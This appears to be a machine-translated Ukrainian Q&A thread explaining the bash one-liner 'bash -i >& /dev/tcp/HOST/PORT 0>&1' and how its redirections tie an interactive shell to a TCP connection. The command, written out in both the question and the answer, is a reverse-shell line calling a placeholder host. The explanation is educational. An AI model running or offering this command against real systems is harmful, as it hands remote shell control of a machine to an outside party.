Значення bash -i> & / dev / tcp / HOST / PORT 0> & 1?


15

я намагався

bash -i >& /dev/tcp/HOST/PORT 0>&1

але це, здається, не працює за брандмауерами. Що насправді робить цей код, які порти пересилаються і чи може він працювати за брандмауерами?

Відповіді:


17

Цей фрагмент запускає новий інтерактивний екземпляр bash ( bash -i), на підключенні TCP до вказаного порту вказаного хоста, який створюється протягом тривалості процесу bash. Стандартний вихід і стандартна помилка надсилаються через це з'єднання ( >& /dev/tcp/HOST/PORT), а стандартний вхід зчитується через це з'єднання ( 0>&1- це має бути, 0<&1але 0>&1теж працює).

Переадресація порту не відбувається. Очевидно, якийсь сервер TCP повинен прослуховувати та приймати з'єднання на цьому HOST: PORT, і брандмауер повинен пропускати з'єднання.


Що таке з'єднання '/ dev / tcp / HOST / PORT' Де визначений хост і де визначений порт?
Гелос

2
@Helos Ви буквально бачили /dev/tcp/HOST/PORT? Я припускав, що ви замінили ім'я на HOSTі число на PORT. Інакше ви отримаєте повідомлення про помилку від bash. Оскільки ви не згадали жодного повідомлення про помилку, я припускаю, що ви його не бачили.
Жил "ТАК - перестань бути злим"

1
@Gilles, я не можу перетравити 0<&1частину. Я читаю це як "take bash stdout ( &1) і передає його в bash stdin ( 0)", що має сенс. Чи можете ви поясніть, як працює ця частина?
голем

5
@golem Це перенаправлення. Жодна труба не бере участь. 0<&1означає підключити все, що зараз відкрито у файлі дескриптора 1, до дескриптора 0. Оскільки попереднє перенаправлення >& /dev/tcp/HOST/PORTпідключило fd 1 (за замовчуванням для переадресації виводу) до /dev/tcp/HOST/PORT, тобто відкрив сокет TCP, це дублює з'єднання TCP з дескриптором 0 файлу (тобто той же сокет тепер також відкритий на fd 0, це відрізняється від 0 </ dev / tcp / HOST / PORT, який би відкрив інший сокет на тому ж сервері).
Жил "ТАК - перестань бути злим"

Підключення було ключовим словом для мого розуміння; викликати трубопроводи процесів насправді мене бентежило.
голем
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.